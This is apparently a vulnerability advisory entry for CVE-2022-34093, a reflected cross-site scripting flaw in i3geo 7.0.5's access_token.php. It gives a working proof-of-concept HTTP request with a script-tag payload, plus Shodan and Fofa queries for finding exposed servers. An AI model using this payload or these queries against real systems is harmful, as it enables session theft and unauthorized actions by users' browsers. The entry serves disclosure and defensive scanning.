| Title | Software Publico Brasileiro i3geo v7.0.5 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript through parameters in the LinkedIn OAuth access_token.php endpoint that executes in users' browsers, potentially stealing session tokens or performing unauthorized actions in the i3geo geographic information system. |
| Remediation | Update i3geo to a version later than 7.0.5 that properly sanitizes and encodes user input in access_token.php. |
| CVSS Score | 6.1 |
| EPSS Score | 0.05106 |
| CVE ID | CVE-2022-34093 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"i3geo" |
| Fofa Query | body="i3geo" |
| Tags | cve cve2022 i3geo xss softwarepublico vuln |
Portal do Software Publico Brasileiro i3geo v7.0.5 was discovered to contain a cross-site scripting (XSS) vulnerability via access_token.php.
GET /i3geo/pacotes/linkedinoauth/example/access_token.php?=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34093.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-34093.pcap
N/AN/A